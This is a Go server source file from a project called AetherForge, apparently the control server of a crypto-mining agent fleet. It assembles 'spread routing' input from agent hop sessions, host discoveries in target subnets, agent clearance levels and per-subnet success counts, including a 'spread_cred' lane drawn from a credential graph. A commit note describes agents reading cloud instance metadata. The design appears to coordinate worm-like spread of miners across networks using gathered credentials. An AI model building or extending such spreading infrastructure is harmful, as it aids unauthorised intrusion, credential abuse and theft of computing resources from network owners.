Files
AetherForge/server/internal/api/spreadrouter_bridge.go
AetherForge 990105f7bf
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Elect one fleet torrent seeder per AWS VPC via IMDS cloud_instance_meta.
Agents read vpc-id from EC2 IMDS on auth; the server scopes subnet_primary_seeder to vpc-id with /24 fallback, exposes VPC seeder badges, and documents cross-VPC gossip via peering/TGW.
2026-06-07 10:06:42 -07:00

179 lines
4.1 KiB
Go

package api
import (
"strings"
"crypto-miner-server/internal/clearance"
"crypto-miner-server/internal/spreadrouter"
)
// buildSpreadRouterInput assembles routing context from Path Tracer sessions and fleet state.
func buildSpreadRouterInput(hub *WSHub, sessions []*TraceSession, targetSubnets []string, requestedLane string) spreadrouter.Input {
in := spreadrouter.Input{
TargetSubnets: targetSubnets,
RequestedLane: strings.TrimSpace(requestedLane),
}
if hub == nil {
return in
}
for _, sess := range sessions {
if sess == nil {
continue
}
snap := spreadrouter.SessionSnapshot{SessionID: sess.ID}
for i, hop := range sess.Hops {
if hop == nil {
continue
}
subnet := spreadrouter.SubnetFromIP(hop.ExternalIP)
if subnet == "" && hub.db != nil {
if ag, err := hub.db.GetAgent(hop.AgentID); err == nil && ag != nil {
subnet = spreadrouter.SubnetFromIP(ag.IP)
}
}
snap.Hops = append(snap.Hops, spreadrouter.HopSnapshot{
AgentID: hop.AgentID,
AgentName: hop.AgentName,
Subnet: subnet,
SessionID: sess.ID,
HopIndex: i,
Connected: hub.isAgentConnected(hop.AgentID),
})
}
for _, host := range serviceGraphList(sess.ServiceGraph) {
sub := spreadrouter.NormalizeSubnet(host.Subnet)
if sub == "" {
sub = spreadrouter.SubnetFromIP(host.Host)
}
if sub == "" {
continue
}
agentID := strings.TrimSpace(host.AgentID)
if agentID == "" && len(snap.Hops) > 0 {
agentID = snap.Hops[len(snap.Hops)-1].AgentID
}
snap.Discoveries = append(snap.Discoveries, spreadrouter.SubnetDiscovery{
Subnet: sub,
AgentID: agentID,
Hosts: []string{host.Host},
})
}
in.Sessions = append(in.Sessions, snap)
}
hub.mu.RLock()
connected := make([]string, 0, len(hub.agents))
for id, conn := range hub.agents {
if conn == nil {
continue
}
connected = append(connected, id)
}
hub.mu.RUnlock()
for _, id := range connected {
if hub.db == nil {
continue
}
ag, err := hub.db.GetAgent(id)
if err != nil || ag == nil {
continue
}
latency := 0
if ag.LatencyMs != nil {
latency = *ag.LatencyMs
}
clearanceLevel := clearance.L0
if hub.clearance != nil {
clearanceLevel = hub.clearance.Level(id)
}
in.FleetAgents = append(in.FleetAgents, spreadrouter.FleetAgentSnapshot{
AgentID: id,
AgentName: ag.Name,
Subnet: spreadrouter.SubnetFromIP(ag.IP),
Clearance: clearanceLevel,
LatencyMs: latency,
JoinLane: strings.TrimSpace(ag.JoinLane),
Connected: true,
})
}
in.LaneSuccess = collectLaneSuccessStats(hub)
in.ErasureLanesEnabled = hub.serverPolicySnapshot().ErasureLanesEnabled
return in
}
func collectLaneSuccessStats(hub *WSHub) []spreadrouter.LaneSuccessStat {
if hub == nil {
return nil
}
type key struct {
subnet string
lane string
}
counts := make(map[key]int)
hub.mu.RLock()
connected := make([]string, 0, len(hub.agents))
for id, conn := range hub.agents {
if conn == nil {
continue
}
connected = append(connected, id)
}
hub.mu.RUnlock()
for _, id := range connected {
if hub.db == nil {
continue
}
ag, err := hub.db.GetAgent(id)
if err != nil || ag == nil {
continue
}
lane := strings.TrimSpace(ag.JoinLane)
if lane == "" {
continue
}
sub := spreadrouter.SubnetFromIP(ag.IP)
if sub == "" {
continue
}
counts[key{subnet: sub, lane: lane}]++
}
if hub.db != nil {
if rows, err := hub.db.ListCredGraphBySubnet(); err == nil {
for _, row := range rows {
if row.SuccessCount <= 0 {
continue
}
sub := spreadrouter.NormalizeSubnet(row.Subnet)
counts[key{subnet: sub, lane: "spread_cred"}] += row.SuccessCount
}
}
}
var out []spreadrouter.LaneSuccessStat
for k, n := range counts {
out = append(out, spreadrouter.LaneSuccessStat{
Subnet: k.subnet,
JoinLane: k.lane,
Success: n,
})
}
return out
}
func traceSessionsSnapshot(handler *PathTracerHandler) []*TraceSession {
if handler == nil {
return nil
}
handler.mu.Lock()
defer handler.mu.Unlock()
out := make([]*TraceSession, 0, len(handler.sessions))
for _, sess := range handler.sessions {
out = append(out, sess)
}
return out
}